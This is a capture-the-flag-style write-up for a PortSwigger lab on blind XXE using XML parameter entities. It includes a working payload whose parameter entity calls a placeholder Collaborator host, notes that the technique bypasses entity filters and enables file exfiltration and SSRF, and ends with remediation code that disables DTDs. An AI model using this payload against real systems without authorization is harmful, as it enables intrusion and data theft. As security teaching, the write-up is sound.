Blind XXE with Out-of-Band Interaction via XML Parameter Entities

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | XML external entity (XXE) injection |
| Lab | Blind XXE with out-of-band interaction via XML parameter entities |
| Difficulty | Practitioner |
| Goal | Use a parameter entity to make the parser call Burp Collaborator |
| Tools | Burp Suite Professional (Repeater + Collaborator) |
When regular entities are blocked#
The out-of-band lab
confirmed blind XXE
by declaring a normal external entity and referencing it with &xxe;. This lab
adds a check that rejects external entities declared the usual way, so that
approach no longer resolves, the parser refuses the document before the callback
fires.
The way around it is a parameter entity. A parameter entity is a special kind
of entity that is declared with a % and can only be referenced inside the
DTD itself (not in the document body). Because it lives entirely in the DTD, it
slips past a filter that only blocks ordinary entities in element content, and it
still makes the parser fetch an external URL.
As before, the callback target is Burp Collaborator (a Burp Professional feature): a unique domain that records any DNS (Domain Name System) or HTTP interaction sent to it.
Finding the injection point#
The endpoint is the same XML stock-check as the rest of the series (see the
file-retrieval lab
):
a POST /product/stock with an XML body, parsed server-side. Capture it and send
it to Repeater.
Exploitation: a parameter entity#
Declare a parameter entity whose URI is an http:// Collaborator domain, then
reference it with %xxe; inside the DTD so the parser resolves it while reading
the document type:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Piece by piece:
<!ENTITY % xxe SYSTEM "http://…">declares a parameter entity namedxxe. The%(with a space before the name) is what makes it a parameter entity rather than a general one;SYSTEMplus anhttp://URI tells the parser to fetch that URL when the entity is used.%xxe;references the parameter entity inside the DTD. Parameter entities can’t be used in the document body, so this is where it has to go, and resolving it here is what triggers the fetch.productIdandstoreIdare left as normal values; we don’t need to reference the entity in the body, the DTD reference alone makes the parser reach out.
Select the placeholder, right-click, and choose Insert Collaborator payload to
fill in a unique subdomain, then send it. The response is a blind
400 Bad Request with "XML parsing error", no useful content, but the request
to Collaborator has already gone out:

Confirming the interaction#
Open the Collaborator tab and click Poll now. The parser’s resolution of the external parameter entity shows up as interactions from the target, a DNS lookup of our subdomain followed by the HTTP request:

The DNS lookups resolve our subdomain, and the HTTP request is the parser fetching the URL. Either one proves the parameter entity resolved, so the lab is solved.
Real-world impact#
Parameter entities matter because they defeat naive XXE defenses. A filter
that strips or rejects ordinary &entity; references in the body looks like it
closes XXE, but a parameter entity sidesteps it entirely:
- Bypassing entity filters — many half-fixes only block general entities; parameter entities keep the same OOB and exfiltration power.
- Out-of-band exfiltration — parameter entities are the usual building block for reading files blind, by chaining them with a malicious external DTD that smuggles file contents into the URL the parser requests.
- SSRF — the same
http://fetch reaches internal services and cloud metadata (see the XXE-to-SSRF lab ).
Only ever against systems you are authorized to test.
Remediation#
The root cause and fix are unchanged, and crucially the fix must cover parameter entities, not just general ones:
- Disable DTDs entirely. This is the single most effective fix, and it stops parameter entities and general entities alike, since both live in the DTD.
- Don’t rely on blocking only
&entity;references. A filter that misses parameter entities is not a fix.
A concrete example, parser-specific (here Java’s DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — stops parameter and general entities alike
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);If DTDs genuinely can’t be disabled, at minimum turn off both external general
and external parameter entities (external-general-entities and
external-parameter-entities).
Key takeaways#
- A parameter entity (
<!ENTITY % name …>, referenced as%name;) lives in the DTD and slips past filters that only block ordinary&entity;references. - The payload needs no entity reference in the body; resolving
%xxe;inside the DTD is enough to make the parser call out. - Defenses must cover parameter entities too, which is exactly why disabling DTDs outright is the reliable fix.
Related posts#
- Blind XXE with Out-of-Band Interaction — the previous lab, the standard external-entity callback this one works around.
- Exploiting XXE to Retrieve Files — the non-blind starting point for the series.
- Exploiting XXE to Perform SSRF — the same fetch primitive aimed at internal services.
- Full series: PortSwigger: XML External Entity Injection .